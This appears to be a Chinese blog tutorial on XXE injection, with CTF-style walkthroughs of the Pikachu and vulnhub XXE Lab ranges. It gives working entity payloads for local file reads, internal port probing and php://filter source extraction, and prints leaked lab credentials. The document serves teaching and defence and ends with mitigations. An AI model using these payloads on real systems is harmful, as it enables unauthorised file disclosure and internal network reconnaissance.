一、原理

XML是用于传输和存储数据的一种格式,相当于一种信息传输工具,其中包含了XML声明,DTD文档类型定义、文档元素。

XXE是xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

二、XML概述

  • 特性:

    • XML对大小写敏感
    • XML所有元素要存在一个闭合标签
    • XML中空格会被保留
    • XML中属性值要用引号保留
  • DTD文档类型定义

    DTD用于约束文档的结构,变量的格式:

    可见先由<?xml ?>标签定义version等信息,然后是<!DOCTYPE sth[] >定义根目录sth下的子目录,这两个构成了DTD文档类型定义。接着才是xml文档内容。

  • DTD中的实体

    实体用于定义和引用普通文本或者特殊字符

    • 外部实体

      <!ENTITY 实体 SYSTEM "url">
      
      <?xml version="1.0"?>
      <!DOCTYPE root [
      <!ENTITY test SYSTEM "sth.xml">
      ]>
      <root>&test;</root>
    • 内部实体

      <!ENTITY 实体名称 "实体的值">

三、XXE检测

  • 根据抓包的内容

    <user>test</user> <pass>test</pass>

    有这样的格式则基本为XML

  • 根据Content-Type值:

    text/xml或者application/xml

  • 更改Content-Type值,然后看返回值

具体分析可以看下面的实例。

四、XXE实例

Pikachu靶场

在文本框中随意输入一些数据,然后使用bp进行抓包:

变量和accept里都提示xml,基本上可以判定为xml,下面直接进行XXE利用。(注意:本地搭建的网站如果用127.0.0.1进行访问可能会导致bp抓不到包,需要使用本机的其他内网ip进行访问)

  • 读文件

    payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY rabbit SYSTEM "file:///phpstudy_pro/WWW/pk/test.txt">
    ]>
    <test>&rabbit;</test> #rabbit相当于是一个变量
    #file后的路径似乎需要是绝对路径(后续在进行研究)

    读文件成功(“从是大V撒”是test.txt的内容):

  • 内网探针

    payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ELEMENT foo ANY>
    <!ENTITY rabbit SYSTEM "http://127.0.0.1:80/pk/test.txt">
    ]>
    <x>&rabbit;</x>

    探测端口及文件成功:

  • 下载源码

    payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=http://10.21.135.43/pk/test.txt">
    ]>
    <x>&rabbit;</x>

因为网站当前的url为:http://10.21.135.43/pk/vul/xxe/xxe_1.php

可见该目录下没有test.txt文件,所以不能写成

PHP://filter/read=convert.base64-encode/resource=test.txt

而是采用完整url的方式。执行payload:

将上诉base64序列解码后即可得到test.txt中的内容。

vulnhub XXE Lab靶场

  • 下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/

    安装后不能登录且不知道IP,需要自己扫描:

  • 将kali和xxe主机放在一个网段下,使用nmap扫描C段:

    192.168.108.143开放了80端口,基本上可以判断就是该主机。

  • 进行目录扫描

    这里使用dirsearch,安装命令如下:

    git clone https://github.com/maurosoria/dirsearch.git

    然后cd进入该目录,使用命令进行扫描:

    python3 dirsearch.py -u 192.168.108.143

    可以看到存在一个robots.txt

  • 访问该目录

    根据提示访问:

  • 进行xxe注入

    随便输入123,可见存在xml文件的解析,下面直接进行利用:

  • 将上面的xml换为payload(注意原先的xml返回格式不能改变,只能替换变量)

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE foo[
    
    <!ELEMENT foo ANY>
    
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=xxe.php">
    
    ]>
    
    <root><name>
    
    &rabbit;
    
    </name><password>123</password></root>

  • 将上面进行base64解码,解码后可以发现没有什么特殊作用。那么尝试读取admin.php并进行查看:

    <?php
    session_start();
    ?> <html lang = "en"> <head>
    <title>admin</title>
    <link href = "css/bootstrap.min.css" rel = "stylesheet"> <style>
    body {
    padding-top: 40px;
    padding-bottom: 40px;
    background-color: #ADABAB;
    } .form-signin {
    max-width: 330px;
    padding: 15px;
    margin: 0 auto;
    color: #017572;
    } .form-signin .form-signin-heading,
    .form-signin .checkbox {
    margin-bottom: 10px;
    } .form-signin .checkbox {
    font-weight: normal;
    } .form-signin .form-control {
    position: relative;
    height: auto;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
    padding: 10px;
    font-size: 16px;
    } .form-signin .form-control:focus {
    z-index: 2;
    } .form-signin input[type="email"] {
    margin-bottom: -1px;
    border-bottom-right-radius: 0;
    border-bottom-left-radius: 0;
    border-color:#017572;
    } .form-signin input[type="password"] {
    margin-bottom: 10px;
    border-top-left-radius: 0;
    border-top-right-radius: 0;
    border-color:#017572;
    } h2{
    text-align: center;
    color: #017572;
    }
    </style> </head> <body> <h2>Enter Username and Password</h2>
    <div class = "container form-signin"> <?php
    $msg = '';
    if (isset($_POST['login']) && !empty($_POST['username'])
    && !empty($_POST['password'])) { if ($_POST['username'] == 'administhebest' &&
    md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
    $_SESSION['valid'] = true;
    $_SESSION['timeout'] = time();
    $_SESSION['username'] = 'administhebest'; echo "You have entered valid use name and password <br />";
    $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
    echo $flag;
    }else {
    $msg = 'Maybe Later';
    }
    }
    ?>
    </div> <!-- W00t/W00t --> <div class = "container"> <form class = "form-signin" role = "form"
    action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
    ?>" method = "post">
    <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
    <input type = "text" class = "form-control"
    name = "username"
    required autofocus></br>
    <input type = "password" class = "form-control"
    name = "password" required>
    <button class = "btn btn-lg btn-primary btn-block" type = "submit"
    name = "login">Login</button>
    </form> Click here to clean <a href = "adminlog.php" tite = "Logout">Session. </div> </body>
    </html>

    可以看到代码只是进行了简单的前端验证,账户名为:administhebest,秘密在进行md5解密后可得:admin@123。

  • 登录

    点击flag发现是空的:

  • 读取flagmeout.php

    扔到decode模块进行解密:

    JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

    这是个base32解码(因为base32中只包含大写字母A-Z和数字234567),解码后看到又是一个base64:

    继续进行解码:

    提示flag在/etc/.flag.php中,同样使用伪协议php://进行读取。

  • 解码

    因为在.flag.php中所以是一个php代码,复制到在线运行环境中(php5.6运行成功,其他版本没有成功):

    可见flag为:

    {xxe_is_so_easy}

五、防御

  • 使用开发语言提供的禁用外部实体的方法
  • 过滤用户提交的XML数据(关键词<!DOCTYPE和<!ENTITY或者 SYSTEM和PUBLIC)
  • 配置只能使用静态DTD,禁止外来引入。

参考链接

【XXE漏洞】原理及实践演示的更多相关文章

  1. XXE漏洞原理及利用

    0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...

  2. 听补天漏洞审核专家实战讲解XXE漏洞

    对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...

  3. 微信支付的SDK曝出重大漏洞(XXE漏洞)

    一.背景 昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构.文件内容,如代码.各种私钥等.获取这些信息以后,攻击者便可以为所欲为,其中 ...

  4. 8.bwapp亲测xxe漏洞

    这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤, 从而可以造成命令执行,目录遍历 ...

  5. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  6. 20165223《网络对抗技术》Exp2 后门原理与实践

    目录 -- 后门原理与实践 后门原理与实践说明 实验任务 基础知识问答 常用后门工具 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shel ...

  7. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  8. 2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践 一.实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5 ...

  9. 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...

  10. 2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

    2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践 一 免杀原理与实践说明 (一).实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件, ...

随机推荐

  1. XHbuilder 需要的 ipa 签名,超详细的教程,你不看吃亏的是自己!

    今天使用 hbuilder 运行到 ios 真机的时候,突然发现还需要 ipa 签名,这是什么东东呢? 1.IPA 签名是什么? 因苹果公司禁止企业证书用于非企业内部开发者.所以开发者无法再使用DCl ...

  2. 记一次线上bug:crontab 被意外清空

    记一次线上bug:crontab 被意外清空 目录 记一次线上bug:crontab 被意外清空 问题概述 问题排查 问题复现 其他测试 总结 又是一次难忘的经历. 问题概述 同事反馈,某台服务器的c ...

  3. 【阅读笔记】RAISR

    RAISR: RAISR: Rapid and Accurate Image Super Resolution --Yaniv Romano, 2017(211 Citations) 核心思想 LR ...

  4. js的一些小问题集合

    1.等于号的应用 function reverse(){ var checkbox = document.getElementsByName("hobby"); for (let ...

  5. Postgresql: 常用配置

    允许远程链接postgresql 要允许 PostgreSQL 数据库允许远程连接,需要进行以下配置步骤: 打开 PostgreSQL 的主配置文件 postgresql.conf.通常,该文件位于以 ...

  6. tensorflow.js 视频图片多目标检测

    前言: Tensorflow.js 官方提供了很多常用模型库,涵盖了平时开发中大部分场景的模型.例如,前面提到的图片识别,除此之外还有人体姿态识别,目标物体识别,语音文字等识别.其中一些可能是 Pyt ...

  7. Jni GetMethodID中函数标识sig的详细解释

    在 JNI(Java Native Interface)中,GetMethodID 函数用于获取 Java 类的方法的标识符.这个函数的详细解释如下: cCopy code jmethodID Get ...

  8. 深入探讨安全验证:OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计

    什么是认证和授权?如何设计一个权限认证框架? 认证和授权是安全验证中的两个重要概念.认证是确认身份的过程,用于建立双方之间的信任关系.只有在认证成功的情况下,双方才可以进行后续的授权操作.授权则是在认 ...

  9. 三维模型OBJ格式轻量化压缩变形现象分析

    三维模型OBJ格式轻量化压缩变形现象分析 三维模型的OBJ格式轻量化压缩是一种常见的处理方法,它可以减小模型文件的体积,提高加载和渲染效率.然而,在进行轻量化压缩过程中,有时会出现模型变形的现象,即压 ...

  10. Pandas 使用教程 Series、DataFrame

    目录 Series (一维数据) 指定索引值 使用 key/value 对象,创建对象 设置 Series 名称参数 DataFrame(二维数据) 使用字典(key/value)创建 loc 属性返 ...